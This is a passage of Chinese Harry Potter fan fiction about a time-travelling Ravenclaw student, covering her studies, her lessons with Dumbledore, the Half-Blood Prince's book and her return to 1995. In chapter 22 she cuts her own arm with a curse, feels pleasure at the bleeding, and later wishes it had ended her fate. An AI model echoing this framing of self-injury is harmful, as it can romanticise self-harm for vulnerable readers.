“我只能尽可能把更多信息告诉你,克洛娜,我本不愿看到你在应该学习的年龄就过上这种危机四伏的生活,我想我的学生们都值得安全而充满乐趣的学生生活,但是,时间已经来不及了,你可能是我们制胜的关键。”
“您的意思是通过回溯,把您中了魂器上的黑魔法这个消息带给过去的您吗?”
“具体应该怎样做我无权决定,”邓布利多说,“这是你的人生,克洛娜。”
她不是哈利·波特,她只是被迫卷入这场战争之中的人。
天哪。
克洛娜想。
她一个小时前还在想自己的O.W.Ls黑魔法防御术考试,现在就忽然开始反抗伏地魔的事业了。
没有人比邓布利多更懂黑魔法防御术。
反抗伏地魔怎么就不算学习黑魔法防御术呢,伏地魔可是本世纪最邪恶的黑巫师啊。
21.第 21 章
前四个年级的考试比起O.W.L.来说简直就是休假。
O.W.L.要考的内容更加复杂,也更具有综合性,你必须掌握从一年级到五年级的全部知识,才能在考试中勉强拿到优秀。直到补考开始之前的最后一天,克洛娜仍然在温室里和毒触手搏斗,以及试图阻止鸟蛇从茶壶里逃走。
克洛娜至今不知道自己究竟能拿到多少个“O”(优秀)。
家养小精灵会把食物直接送到有求必应屋,避免她在复习的时候不小心把自己饿死。
麦格教授把眼镜还给了她,现在这副眼镜现在变得简直像是一件工艺品,镜片几乎看不出厚度,镜框上也叠加了防护咒语,甚至能防护灰尘和风沙。
麦格教授果然列了一份详细的表格给她。上面清晰明了地写出她都用了些什么咒语调整这副眼镜。
克洛娜自愧不如。
她意识到自己之前对待魔法都太粗心了,完全凭借兴趣研究,大概她这辈子都比不上麦格教授。
克洛娜的黑魔法防御术在邓布利多的辅导下显著提升,邓布利多的课是非常愉快的,和麦格教授不同,他的教学方式花样百出,十分有趣,有时他也会对魔咒课和变形术提出自己的见解。邓布利多现在只能左手使用魔杖,但即便如此,他在魔法方面的造诣颇深,仍然无可战胜。
无声咒是克洛娜首要的学习内容。
必须尽全力集中注意力,在脑子里想自己要用的咒语,集中魔法的力量。对于克洛娜来说是个不小的挑战,就算她大声念出咒语,邓布利多也能将其轻而易举地化解掉。
“魔法是流淌在你身体里的力量,它就在你的身边,克洛娜。”邓布利多说。“魔法可以成为你的朋友,也可以成为你的敌人,不要操控它,而是感受它。”
克洛娜屏气凝神,在脑海里默念昏迷咒。
感受魔法的力量……
她的魔杖尖迅速射出一道红色光芒,向邓布利多飞去,而后击打在邓布利多的强大的铠甲咒上。
同时,克洛娜被一道颇为温和的??绊腿咒绊倒了。
邓布利多左手举着魔杖,损坏的右手也微微抬了抬。克洛娜完全没看清他在什么时候用的??绊腿咒。
红光反弹,克洛娜一边狼狈地踉跄着,一边躲闪自己的咒语。
“你做得非常好。”邓布利多夸赞道,“过不了多久你就能融会贯通了。”
“谢谢……”
邓布利多是个非常有耐心的好老师。
他告诉克洛娜,哪怕是最简单的魔法,在强大的巫师手中也会产生无与伦比的效果。
克洛娜非常赞同这点。
她在几年前就发现了同一系列的咒语之间都是相互关联的,譬如初级的气象咒只能给花盆里浇点水,但是中级气象咒却可以产生和雷酿魔药一样的电击效果,理论上终极或者更强大的气象咒融合召雷术,或许可以影响一整片地区的天气,形成阴云密布和电闪雷鸣。
然而作为赶着补课学生,克洛娜复习得天昏地暗。她让有求必应屋变出了第二口坩埚,每天熬制无梦酣睡剂,只有魔药能让她勉强维持稳定的五小时睡眠。
在斯内普教授的严格要求下,克洛娜已经完全掌握了给自己熬续命魔药的技巧。
至少她现在不用每天都跑校医院了。
随着考试开始,陆续有几个学生返回霍格沃茨参加补考,他们都紧张兮兮,如果补考仍然不及格,恐怕就要重修了。
一周后,O.W.L.补考告一段落。克洛娜立刻倒在有求必应屋的四柱床上睡了十七个小时。至于成绩单什么的早就被她忘到了九霄云外。
因为没过多久就开学了。
哈利跟在斯内普身后,鼻青脸肿地走进礼堂,两人看起来就像是在火车上打了一架。
邓布利多宣布新的魔药课教授是霍拉斯·斯拉格霍恩,一个秃头的、肥胖的老教授。
据说在斯内普之前,他一直都在霍格沃茨教魔药课,而斯内普则调动成了黑魔法防御术老师。
怪不得他不愿意在假期辅导魔药,克洛娜想。
弗立维教授在拉文克劳塔楼里给克洛娜安排了一个新的床位,虽然克洛娜还是更想住在有求必应屋。但她对住宿环境没有什么要求。
作为六年级的学生,克洛娜的课程表差不多都和哈利排在一起。由于没有参加选修课的补考,她不能再选算数占卜和古代如尼文的进修班课程了。
斯内普的黑魔法防御术课让克洛娜想起曾经的穆迪教授。
他很乐于给学生们讲述一些吓人的东西,而后开始布置课堂任务。
赫敏和克洛娜分到了一组,目的是用无声咒击倒对方。学生们在教室里散开,斯内普挥了挥魔杖将桌椅挪向教室边缘,空出教室中央的位置给学生们练习魔咒。哈利和罗恩对战,学生们散开前,罗恩还在小声和赫敏聊天。
“今年克洛娜要和我们一起上课了?”
“进阶咒语有很多需要学的,罗恩。”赫敏说。
“安静。”斯内普说,“今天的教室里我不想听到一点声音。无声咒在战斗中是基本的必须技能,在面对敌人的时候,你们唯一不想做的就是用最大的声音告知你的敌人你要用什么咒语袭击他们。”
“来吧,克洛娜。”赫敏举着魔杖严阵以待。
克洛娜拿出眼镜,架在鼻梁上。
如果是四年级的克洛娜,在赫敏面前,她根本没有胜算。
但一整个假期她都在邓布利多的校长室里接受黑魔法防御术训练。邓布利多作为一个对手太难对付了。而花了大量时间尝试攻克最强大的巫师之后,对手忽然变成同龄的学生,整件事情似乎忽然变得简单起来。
赫敏首先用冷冻射线攻击克洛娜。
一束寒冰卷着冷风迎面而来。
克洛娜学着邓布利多的样子,铁甲咒瞬间包裹她的全身,与此同时,她的魔杖发射了一道酸液。赫敏连忙用无声咒挡开。等她准备好再次攻击时,克洛娜已经甩出去了一道霹雳爆炸。
斯内普在教室前站着。似乎是为了故意针对格兰芬多,他给拉文克劳加了五分,给马尔福一个人加了二十分。虽然马尔福是作弊小声念出的咒语,但斯内普假装不知道。
果不其然,这堂课结束的时候,哈利和斯内普闹起矛盾,被关了禁闭。
而赫敏显然已经憋了一整堂课想说的话。
“克洛娜!”她喋喋不休地说,“你刚刚是同时使用了两个咒语吗?你挡开了我的魔咒,但是又对我用了一个魔咒,这是怎么做到的!”
他们正在往教室外面走,罗恩对哈利的反击乐不可支。
“其实咒语可以混起来用,”克洛娜解释道,“那是无杖魔法和无声咒的结合,你没有看到我没拿魔杖的左手。”
她是和邓布利多学的。
赫敏露出了钦佩的目光,克洛娜忽然感到假期的地狱模式突击复习O.W.L.考试总算没有白费精力。
而这学期,邓布利多变得繁忙起来。
他总是离开霍格沃茨去调查魂器的下落,并且开始给哈利单独上课。
克洛娜尽可能躲着邓布利多走,她生怕邓布利多什么时候突发奇想,安排她六年级就进行N.E.W.T.考试。
过了一段时间,邓布利多透露给克洛娜的关于魂器的信息又多了几条。
除了戒指和日记本,他认为赫奇帕奇的金杯,以及斯莱特林的挂坠盒都被伏地魔制作成了魂器。
“不过,别对任何人谈起我的手受伤这件事,好吗?”邓布利多思索着说。“今年的情况有些特殊。”
“莫非是伏地魔已经发现您在找魂器了。”
“还没有。”邓布利多说,“但他正在不遗余力地派人来杀了我,如果他知道我的生命就要走到尽头了,他一定会动手的。我不想把我的学生们都置于危险之中。”
克洛娜停顿片刻。
她很想问问邓布利多,面对死亡是什么感觉。
就像她自己,似乎正在以不可阻挡的趋势回到过去。
然而,她还有可能改变既定的现实,只要她再回溯一年,就能警告去年的邓布利多不要去触碰魂器。
但是现在的邓布利多,却只能面对自己的死亡。
“只有平静,克洛娜,”邓布利多说,“像是见一个老朋友。”
……
赫敏非常乐于和克洛娜一起去图书馆,而哈利对一本“混血王子”的魔药书爱不释手,并且成功成为斯拉格霍恩教授最受宠的学生,甚至加入了一个叫“鼻涕
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虫俱乐部”的学生聚会。
秋季转瞬即逝,雪花悄然降下,空气变得越来越冷,像是要将每一粒灰尘都冻僵。
克洛娜在图书馆里研究怎么放大飓风咒,赫敏在她旁边的座位上,写着魔咒课论文。
罗恩最近和拉文德谈起恋爱,恨不得全天二十四小时腻在一起,救世主三人组不再一起行动了。哈利抱着那本《高级魔药制作》走了过来,似乎是为了给自己找个借口学习,最后支支吾吾很久,问克洛娜能不能救他一命,跟他一起去斯拉格霍恩的圣诞节晚会。
“不了。”克洛娜说,“我建议你去找金妮。”
“金妮和迪安在一起。他们亲得比罗恩和拉文德还激烈。”
哈利的语气有点冷硬。他摊开《高级魔药制作》,这一年他痴迷这本书,忽然摇身一变,成了魔药课资深爱好者,克洛娜感到有些不可思议。
“你来帮哈利检查一下,克洛娜,”赫敏愤怒地说,“看看这个该死的‘王子’到底是什么来头。”
克洛娜看了看赫敏,又看了看哈利,接着看向那本书。
“好吧。”
她抽出魔杖。但哈利作势要收回课本。“我都说了这本书没有问题——”
“……什么?”克洛娜说,“斯内普教授以前叫自己混血王子?”
哈利和赫敏目瞪口呆。
“什么?”哈利说。
“斯内普?”赫敏说。
“啊?”克洛娜也困惑地看着他们。
“这东西是斯内普的?”哈利无比震惊地翻着书,“这怎么会斯内普的东西呢。”
“是啊,”赫敏带着讽刺的口吻说,“我说什么来着,这课本肯定有些反常。但是哈利执意说它没有,差点就要娶它为妻了。”
“你是怎么认出这个是斯内普的书的,克洛娜?”哈利问。
“我发明过一种能让书阅读出声音的咒语,自动阅读咒。”克洛娜指着密密麻麻的笔记说。“而这些手写字迹会发出斯内普的声音——而且他之前一直给你们批作业,这字就是斯内普教授写的啊。”
“怎么会这样,斯内普,王子——”哈利难以置信地说,“斯内普和王子!你们能理解吗,根本就没有一点道理!”
“他的魔药学确实很厉害,”克洛娜说,“你肯定能在这本书里学到很多。”
“他绝对在里面写了不少黑魔法。”哈利说。和他半年以来每天抱着这本书视如珍宝的模样大相径庭。
克洛娜的脑海里立刻浮现出《第五版法术》中各种各样扭曲的恐怖魔法。
“这里面有什么?”她感兴趣地问。
“你翻翻看吧。”
克洛娜拿起斯内普的《高级魔药制作》,研读起来。
“这就意味着这本书非常危险,我们不应该贸然接触它。”赫敏说。
“那它为什么不在禁书区里躺着,而是出现在魔药课教室的柜子里。”
“因为斯内普不是什么好人。”哈利说。
斯内普尽职尽责地给邓布利多配魔药,还在假期负责克洛娜的补课,在他的监督下克洛娜的O.W.L.魔药学甚至拿到了“O”。虽然他有的时候看起来确实像喝错了魔药,但克洛娜觉得他应该不是什么十恶不赦的黑巫师……
但克洛娜这学期看了太多哈利和斯内普剑拔弩张的关系。
她决定不涉足两人的恩怨。
“天哪。”赫敏说,“哈利一直对它着魔,我们刚弄清楚了这是斯内普的书,然后你又对它着了魔!”
克洛娜翻看片刻,说道:“这里写着‘神锋无影’,咒语是拉丁语‘sectum’和‘sempra’的结合,似乎是为了让中咒者被凌迟,血流不止。”
她举起魔杖,对准了桌子上的羽毛笔,小声念道:“神锋无影。”
羽毛笔立刻断成两截,断面像是被锋利的小刀切过一样光滑。
“修复如初。”克洛娜说。
羽毛笔纹丝不动。
“无法复原,确实是黑魔法。”克洛娜说,“得找到反咒,只有发明咒语的人知道那是什么。”
哈利面色复杂,赫敏紧紧蹙着眉毛。
“可以问问斯内普教授。”克洛娜建议道。
“你疯了吗?!”哈利说。
22.第 22 章
斯内普并不乐于欣赏到自己年少时的假名被揭穿,他陷入沉默,足足二十秒后,他决定直接没收那本教材。
“为什么不用你的魔法做点对你的学习真正有用的事情呢,巴沙特小姐,比如说,练习你本周的黑魔法防御术作业。考虑到凯蒂·贝尔小姐不久前才愚蠢地触碰过一条带有黑魔法的项链。”斯内普阴恻恻地说。
“我一定会的,先生。”克洛娜说。
当天晚上,克洛娜就用幻身咒去斯内普的办公室偷回了《高级魔药制作》,她决定不把这本书交还给哈利,因为看起来哈利也不会想留下它。
……
“克洛娜。”哈利说,“你应该快点把那本书扔了。”
他从斯拉格霍恩的圣诞晚会回来之后就一直在不停地唠叨这件事,与此同时,克洛娜用自动阅读咒差不多读完了斯内普所有的笔记。
她一直都在忙着研究咒语,既然斯内普不想教反咒,她完全可以尝试自己破解。
伤害咒一定和愈合咒呈相反效果。神锋无影是拉丁语咒语,那么愈合咒多半和拉丁语相关,或许历史上有类似咒语的使用相关记录,并非所有的咒语的反咒都是和咒语本身在同一时刻发明出来的,也有可能“神锋无影”本身就是某个愈合咒语的反咒……
克洛娜对照着斯内普的魔药书,又翻了两页《愈合魔咒及治疗方法》,并在长长的羊皮纸上写写画画。
她忽然抬起头,推了推眼镜,问哈利。
“抱歉,你刚才说什么?”
“……”
哈利翠绿的双眼透过镜片看向她,图书馆里都是圣诞节前复习期中考试的学生。克洛娜的脑子还沉浸在各种类型的愈合咒语中无法自拔,哈利的声音在她的脑海边缘回荡着,像是十分微弱的钟声。
“斯内普怎么了?”她问。
“我看到马尔福和斯内普……”哈利停顿了一下,然后放弃了,“没什么,我就是……想提醒你一下。而且邓布利多最近不在学校,我们不知道他去哪了。”
“邓布利多在魔法部。”克洛娜说。
“魔法部——?”
“魔法部换了鲁弗斯·斯克林杰当部长,”克洛娜说,“你看,邓布利多不在霍格沃茨,他肯定是去找魂器了,斯克林杰能力不足,而邓布利多坚定地站在神秘人的对立面,他们不知道该抓谁了,就只能跟在邓布利多的屁股后面打转,邓布利多想寻找魂器的下落就必须想办法躲开这些人,所以他现在有很大概率在魔法部陪斯克林杰喝茶。”
哈利瞪着克洛娜。
过了几秒,他向后靠向图书馆扶手椅的椅背,“有点道理。”
“下一次邓布利多回来就会带着魂器的最新消息了,”克洛娜说,“我们等着就好了。”
过完圣诞节,邓布利多果然带着魂器的最新消息回到学校,继续给哈利单独授课,叫克洛娜去校长室只是简短地交代伏地魔藏匿魂器的地点。
克洛娜敲门进入的时候,邓布利多和哈利正站在冥想盆旁边。
盆内旋转着记忆的画面,似乎有关一个英俊的黑发男孩和斯拉格霍恩。
“啊,请进吧,克洛娜,”邓布利多友善地说,他完好的那只手握住焦黑的手,交叠在身前,“我正在给哈利看关于汤姆·里德尔的回忆。”
克洛娜走向前几步,邓布利多将一张羊皮纸递给她,上面空无一物,克洛娜立刻明白邓布利多想让她用什么方法阅读这张羊皮纸。
哈利的目光在克洛娜和邓布利多的身上来回移动了两次,嘴唇紧绷片刻,而后似乎下定决心,赶在克洛娜离开校长室之前,问出了一个一直想问的问题:
“为什么不把这些记忆给克洛娜看呢,先生。”
克洛娜的脚步顿住。
因为这学期结束的时候她就不会在这里了。还有不到半年的时间,她就会回溯时间向前。
而哈利才是那个真正要去面对伏地魔的人。
她看不懂时间的奥秘。也不知道在她永远不会参与的未来一年里,哈利究竟会发生什么。
如果她带着魂器的线索回到过去,她是否能改变未来,是否能帮助邓布利多击溃伏地魔,所有的悲剧都不会在发生?
这一切都不得而知。
邓布利多电蓝色的眼睛微微抬了抬,看向克洛娜,他似乎知道这是个克洛娜回答不出的问题。
“因为伏地魔决定要与你为敌,哈利。”他平静地解释道。“克洛娜是我的信使,因此我们才得以机会与伏地魔战斗到底。”
克洛娜十分确信,哈利并不知道她和时间的关联。
邓布利多并没有将这件事告诉他,就像他没有对哈利提起过自己的右手和魂器的诅咒。
哈利不用生活在每天等待克洛娜某一刻可以改变过去的绝望中,因此面对战争束手无策。
时间是神秘而残忍的。
而哈利现在还心怀希望。
圣诞节后的六年级下半学期,罗恩和赫敏的关系更加僵硬了,直到罗恩过生日时误喝下毒酒,住进校医室,两人才和好如初。幻影移形的课程从一月份开始,克洛娜这学期不用学幻影移形,她还没到十七岁,幻影移形可以留到下学期再学。她一想到跟着卢平随从显形就有点想吐,而哈利、赫敏和罗恩都报选了这门课程。
最后只有罗恩没能通过幻影移形考试。
六月越来越近了。
克洛娜在这里停留的时间也进入了倒计时。
克洛娜对神锋无影反咒的研究有了一些新发现,她的思考方向是正确的,因为她发现一个更久远的咒语“Vulnera Sanentur”(伤口愈合),对神锋无影造成的断面会产生修复效果。书上记录,格林德沃曾在1932年使用过这个咒语。
被“神锋无影”切断的羽毛笔勉强复原了,但是只能以最轻的力道握住,否则就会再次折断。
她应该找个会流血的东西试一试。
邓布利多给她的羊皮纸上写了一个遥远的海边岩洞。
下方标注:斯莱特林的挂坠盒。
克洛娜记下地址后,就将羊皮纸扔进壁炉里焚毁了。
她有时能看见卢娜从拉文克劳的公共休息室中飘然走过,现在卢娜上五年级,克洛娜上六年级,她们不再住同一个宿舍,几乎没有时间说话。哈利圣诞晚会邀请的就是卢娜,克洛娜预料到卢娜大概会答应。
魁地奇比赛逐渐进入尾声,克洛娜有时能看到金妮在魁地奇球场训练,她的那头红发像是跃动的火苗。
克洛娜看向图书馆外面逐渐变得温暖的阳光,发了一会儿呆。
只有她被遗忘、被丢弃在过去和未来的夹缝里。
就像博格特给她展示出的场景一样。
没有人能看到她的存在。
克洛娜今天没有戴眼镜,光线晃得她视线模糊,像极了时间厅中令人眼底灼痛的光亮,她几乎每天都会产生幻觉,看到自己忽然化作沙子,手脚变得透明,身体不再存在。时间之沙从她的皮肤上剥落,被魔法卷起,悄然飘散,而她的灵魂即将游荡向未知的过去。
有个微弱的声音在她的脑海里小声提问,很像拉文克劳公共休息室鹰状铜环会发出的声音。
什么东西会流血?
克洛娜抚平《愈合魔咒及治疗方法》泛黄的书角,放在书页上的手几乎不像她自己的。平斯女士已经绕过了书架的尽头,赫敏不在图书馆,克洛娜完全独自一人。
她缓缓举起魔杖。
“神锋无影。”
鲜血从她的手臂迸溅出来,她首先看到红色迅速蔓延向书的表面,而后才感觉到疼痛。
一阵奇怪的快意在她的身体里升起,像是一把烧断解了几个小时的绳结一样痛快。她在时间厅里可没有魔杖这样的东西握在手里,也没发现像神锋无影这样狠厉恶毒的咒语。神秘事务司的缄默人会治好她身上的每一道伤口,但是他们肯定治不好神锋无影留下的割伤。
这是黑魔法,无法愈合——
“速速愈合,”克洛娜念道,视线似乎变得更加模糊了,她感到自己的额头被汗水覆盖,心跳像是钟表最后的报时一般,在身体很深出的地方隆隆作响。她的声音越来越微弱,“速速愈合……速速愈……”
呼吸逐渐跟不上心跳的节奏,克洛娜眼前一黑,整个图书馆都在她的视线里颠倒了。
“我确实没有想到她会对自己用那个咒语。”
“我想你也没发现那本书已经不翼而飞了吧,西弗勒斯。”
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“是——的。”
“幸亏伊尔玛发现得很及时。”
“我至今都认为这不是个明智的选择,我不理解你为什么一定要告诉她,即便你不说,巴沙特总有一天会自己发现。”
“是的,所以我们更应该给她提供支持和帮助。”
“你在说什么?我说的既然她自己能发现,就意味着那个时候她已经具备了承受的能力。看看现在的巴沙特,邓布利多,这个半死不活的样子!”
“西弗勒斯,”邓布利多的声音说,“我永远不愿看着我的学生步入孤立无援的境地,我会倾尽我的所能。”
“是吗?”斯内普讽刺道,“你竟然会吗?”
克洛娜睁开了眼睛,她嗅到白鲜香精的味道,而她的手上缠满了绷带。校医院的天花板看上去像个老旧的教堂,她记得去年她似乎也躺过同一个位置,只不过这次周围没有拉帘,而且邓布利多和斯内普的影子就在不远处。
“啊,她醒了,欢迎回来,”邓布利多说,“克洛娜,感觉怎么样?”
克洛娜坐了起来,斯内普沉默不语。
邓布利多也在等待她的回答。
“我成功了吗?”
克洛娜问。
“恭喜你,巴沙特,你很成功——”斯内普率先开口说,“——成功和德拉科·马尔福先生预定了同一间病房。”
“好了,西弗勒斯。”邓布利多说,“我认为应该给拉文克劳加三十分,因为克洛娜解开了一个危险的黑魔法,但是——如果你需要一个能流血的研究对象,龙血树是个比自己的手臂更好的选择。”
龙血树。
她当时怎么没想到。
“天气越来越热了,”邓布利多将左手举到嘴边,像是说悄悄话一样对克洛娜眨了眨眼,“其实,这两个月我都还会活着。要是你想找人聊聊天,我一直都在校长室里。”
“好的,先生。”克洛娜说。
“你并不孤单,克洛娜。”邓布利多说,他转向斯内普,“西弗勒斯,你不想说些什么吗?”
“需要念三次,巴沙特。”斯内普不情不愿地说道,“你少念了一次。”
“谢谢。”克洛娜说。
春末的最后几天就这么结束了,毒辣的阳光和《预言家日报》同时闯进霍格沃茨,魁地奇的决赛在五月末结束,德拉科·马尔福脸色苍白地和克洛娜一起出院,他一点都不想和克洛娜打招呼,尽管他们中的是同一个咒语。第六学年的考试拉开帷幕,克洛娜并没有找邓布利多谈心,她现在并不想提起那天图书馆中发生的事情。
有那么一个瞬间,她曾非常希望咒语奏效,这样她或许就可以摆脱时间倒流的宿命。
但是她活了下来。
她还会活下去。
就和她时间厅中度过的每一天一样。
最后的几天里,克洛娜把自己当成一个普通学生。她抱着魔咒书和天文学星图穿梭在霍格沃茨长长的走廊里,让自己淹没进一场一场的考试中。1997年6月18日的午夜,夜风微凉,星空清冷,克洛娜坐在霍格沃茨最高处的天文塔上,天狼星在猎户座的东南方向闪耀着,发出夜空里最明亮的光芒。
接下来,她会被时间之沙送回她已经经历过的时间的前一年。
而如果她不会在重叠的时空中存在……
上次她出现在1996年……
六年级的这一整年,她都在霍格沃茨度过。要是时间之沙这次还让她回到1996年,她可以警告邓布利多,不要碰冈特戒指,但是她肯定会和六年级的自己撞到一起。
那么这次,如果她没有被再次送回1996年,就只会是1995年了。
1995年6月发生了什么?三强争霸赛的最后一个项目即将举行,塞德里克·迪戈里被杀死,伏地魔复活,哈利带着奖杯倒在魁地奇球场的草地上,而穆迪教授被发现其实是喝了复方汤剂的食死徒。
可惜她没法把那件外套还给小天狼星·布莱克了。
克洛娜戴上麦格教授调整过的眼镜,握紧魔杖,做好准备。
她远远看到海格在小屋外照顾几只愤怒喷火的炸尾螺。
不知不觉中,纯净的、白色的细沙盘旋起来,安静地将她包围……
23.第 23 章
关于时间回溯、逆行过去,这些究竟是不是真的,克洛娜已经不需要再判断——时间之沙随风散去,如同一阵薄烟,克洛娜随后看到,上一秒还被月光笼罩的魁地奇球场,忽然被封禁起来,上方弥漫着白雾,超过二十英尺高的巨型树篱若隐若现,组成一个错综复杂的迷宫。
现在是1995年,三强争霸赛的最后一个项目即将开始。
邓布利多所说的都是真的。
克洛娜站了起来,天文塔的冷气从她的脚底蔓延到周身,尽管现在是夏季,但她却感觉每一个关节都在僵化,让她无法行走和移动。
她确实在逆着时间回溯。
每次都回到前一年。
一刻钟之前,她还隐隐盼望着,这次睁眼时她会出现在正常的时间,而之前的所有时间逆行只是一场闹剧。
但事实是,时间之沙无可阻挡。她永远都回不去自己的人生了。
克洛娜不想因为违反宵禁被费尔奇抓到,她可以说自己是霍格沃茨的学生蒙混过关,但这也没办法解释她为什么会凌晨在霍格沃茨里漫无目的地游荡,费尔奇只要查实一下学生名单,就会知道,她根本不在学生名单里。
克洛娜甚至不知道自己是怎么从天文塔下来的。
她绕过脚步虚浮地走下长长的楼梯,回过神时,已经站在了校长室的门口,注视着滴水嘴石兽。
今年的校长室口令是什么……
她举起魔杖,声音木然地念道:“穿墙通道。”
木门的表面像是热蜡一样融化,形成一个能容一人走过的通道。
这个高等变形咒是她在有求必应屋的法术书上学到的,叫做“穿墙术”。
霍格沃茨的每一面墙都不能变形,除了这些门,通常情况下,巫师只会让门锁防盗,就像校长室一样。这个法术作用是在木制、石制的表面任意开拓供人通行的开口,首先要确保墙上没有被施加防变形咒的法术。
校长室里空无一人。
挂在校长室墙上的画像都在睡觉。
“请问邓布利多校长去哪了?”克洛娜问。
菲尼亚斯·奈杰勒斯·布莱克的画像忽然动了起来。
“还是和以前一样自私又没礼貌,”他用傲慢的语气说,“不仅违反校规恶意夜闯校长室还不知道口令,容我提醒,你绝对有麻烦了。”
克洛娜不太想跟他废话。
“不好意思,”她提前道歉,“我是来找邓布利多的,请告诉我邓布利多在哪——尊敬的先生。”
“处处显露着缺乏教养的虚情假意和阿谀奉承,这就是没有在霍格沃茨接受过教育的弊端。”
这又是为什么?
她通过假期补习考到了六个O.W.L.证书,被关在魔法部里一年,而且现在还被时间的魔法诅咒。她从来都没有要求过这个。如果能上学,她当然乐意在霍格沃茨过平静的日子,直到七年级毕业。
但她现在得对抗伏地魔,因为那个该死的黑巫师就要复活了。
“我上过学。”克洛娜咽下一丝愤怒,她瞥了一眼那副画像,说道,“这就是你不知道的了。”
菲尼亚斯·奈杰勒斯傲慢地仰起头,用鼻孔看着克洛娜。
“我需要知道一个无名小卒的人生吗?”
克洛娜想对着他的画像用个四分五裂,看看这个布莱克的嘴巴是否还能口吐狂言。
“邓布利多回戈德里克山谷了。”旁边一个老态龙钟的巫师说道,他的标牌上写着阿芒多·迪佩特。“拜托了,菲尼亚斯,别吵了。”
“谢,谢。”克洛娜一字一顿地说。
她转身,又从穿墙术形成的通道退了出去。
菲尼亚斯·奈杰勒斯·布莱克不愧是有史以来最不受欢迎的校长,而且是个蠢货。
但是,戈德里克山谷是哪?
克洛娜撤除了对校长室大门用的变形术。她已经不记得三强争霸赛最后一个项目的具体日期了,但应该就是在放假前不久。
还有其他人知道她时间回溯的状况吗?克洛娜想。
她要在哪里才能找到卢平教授?这一年卢平教授在做什么?
看起来卢平教授是知道时间回溯这件事的,他特地交代克洛娜,让她不要相信那个凤凰社指挥部的家养小精灵。
至少麦格教授并不知道,因为O.W.L.补课时,邓布利多告诉麦格教授克洛娜是六年级的插班生,需要在假期补习第五学年的变形课和魔咒课。
她应该和麦格教授说吗?
等等……
……为什么邓布利多没有把这件事告诉麦格,而且,在过去中不停回溯的、长大之后的她自己,也没有对麦格教授提起过呢?
她不可能深夜敲开麦格教授宿舍的门,告诉麦格教授,你的同事是食死徒假扮的,伏地魔要复活了,小巴蒂·克劳奇更换了三强争霸赛奖杯,请立刻联系邓布利多,他在戈德里克山谷。
克洛娜有点后悔当初没有和哈利他们一起学幻影移形。虽然她的年龄不满足学幻影移形的条件,但用个混淆咒应该可以蒙混过关。
如果她会幻影移形,现在就可以去戈德里克山谷了。
她得找到邓布利多。
霍格沃茨的走廊里凝滞着一片死寂。
忽然间,黑暗的尽头传来了“笃笃”的声响。
好像是一个人的脚步声。
一瘸一拐,而且有一条木腿。
夜色从玻璃窗流泻而下,墙上的画像在打着盹,执剑伫立在走廊墙边的铠甲一动不动。克洛娜立刻用魔杖指着自己,无声地用了个幻身咒。
她紧紧靠近墙边,躲在铠甲后面,屏住呼吸。
穆迪教授,不,小巴蒂·克劳奇,从另一条走廊疾步走过,似乎是向城堡外的方向去了。
克洛娜改变主意了。
与其在这里想究竟怎么找邓布利多,她不如换个方法。
即便是计划了一整年让伏地魔复活的小巴蒂·克劳奇,也不可能料到,一个在霍格沃茨不存在的人能提前预知即将发生的事情,并且可以回溯时间,来到过去。
克洛娜记得,魔法部在学期结束时发现了老克劳奇的尸体。
她远远地跟了上去。
只要她找到老克劳奇的尸体,就能有让魔法部调查霍格沃茨的理由,这样最后一个项目就不会举行了,塞德里克也就不用死了。
假穆迪穿过霍格沃茨的大门口,路过魁地奇球场,走向禁林的方向。
克洛娜的心悬了起来。
她不能跟的太近了。穆迪的魔眼能看穿所有魔咒。她也不确定小巴蒂·克劳奇刚才有没有发现她。
月光形成的阴影在假穆迪身后拉的很长,形状扭曲,宛如一只从地狱里出逃的劣魔。
他歪歪扭扭的身影钻进幽暗的丛林。克洛娜仰头看了一眼夜空。高耸的树木像巨人的骸骨般伫立,夏夜的微风丝毫也撼动不了它们,茂密的枝叶将月光遮挡得严严实实夜,前方是伸手不见五指的黑暗。
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她驻足停顿了片刻。
小巴蒂·克劳奇把尸体藏在了禁林里?
还是说他只是作为黑魔法防御术课的教授身份,去禁林里采集药材,又或者,食死徒在禁林中有什么秘密集会?
克洛娜看着假穆迪的影子在树木深处渐行渐远,最后消失不见。
她不想在禁林中单挑一个食死徒,如果假穆迪刚才已经把她认出来了,而现在是故意引她自投罗网怎么办?陷阱已经是食死徒的惯用伎俩了,就像魔法部和布莱克的那一次。
布莱克。
克洛娜的脑海中忽然出现了这个名字。
布莱克和禁林。
克洛娜后退了两步。
对啊,她想起来了,自己三年级的时候,在禁林边缘看到过伤风,既然伤风就是小天狼星·布莱克的阿尼马格斯形态,那么布莱克现在应该也躲藏在禁林里。
找到布莱克的几率有多大?
比寻找闻所未闻的戈德里克山谷、无处可循的卢平教授、一无所知的其他霍格沃茨教职员工都更靠谱一些。他就住在禁林里。
克洛娜解除了闭耳塞听和幻身咒,直奔伤风曾经在她整个二年级时藏身的山洞。
红松的细枝在禁林上空密密匝匝地排列着,凌乱的灌木和野草恣意生长,树木深处,寂静到可以辨别清楚每一种昆虫的叫声,一只雕枭站在最高的枝丫上,黄色的眼睛瞪着漆黑一片的林地。
克洛娜小心翼翼地避开假穆迪进入禁林的线路,她让魔杖尖发出刚好够她看清前方的微光。
树枝和石子不停绊着她的脚,她仿佛又回到了几年前。
那时候她还没有被时间之沙困住,她的生活和每个霍格沃茨的二年级学生一样,趴在桌子上用稚嫩的字体写长篇大论的魔药论文,每次飞行课都要摔下好几次扫帚,在温暖舒适的四柱床上听室友讲魔法界的神奇动物。而她每天晚上都跑进禁林,偷偷运出霍格沃茨礼堂的晚餐,满脑子都是收养流浪狗。
荧光闪烁照亮了前方的黑暗,那个熟悉的山洞渐渐从黑暗中浮出来,她靠近了一些。
树叶簌簌响动。
不远处的灌木丛后方,一个人形的黑影忽然站起来。
食死徒,魔法部的人,偷猎者,还是布莱克,是布莱克吗?克洛娜警惕地握紧魔杖柄,她的心跳剧烈跳动着,杖尖指向树丛的方向。
那个黑色人影拨开灌木,快步向她靠近,走进荧光闪烁散发的苍白光辉中。
“我还以为你不会回来了。”
小天狼星·布莱克高兴地走上前几步,灰色的眼睛里闪烁着光芒。
他的头发看起来比死的时候短一些,末尾微微卷着。上身穿了一件黑色的无扣衬衫,袖子卷起,露出小臂,裤子则宽松又时髦,让他显得又瘦又高。
他的腰后别着一根魔杖,而他似乎根本没有打算把它抽出来。
布莱克看起来根本不像一个教父或者魔法部的通缉犯,而像是来霍格沃茨谷地酒吧巡演的某个麻瓜贝斯手。
克洛娜的魔杖放低了一些。
“嘿,发生了什么?”
布莱克问。
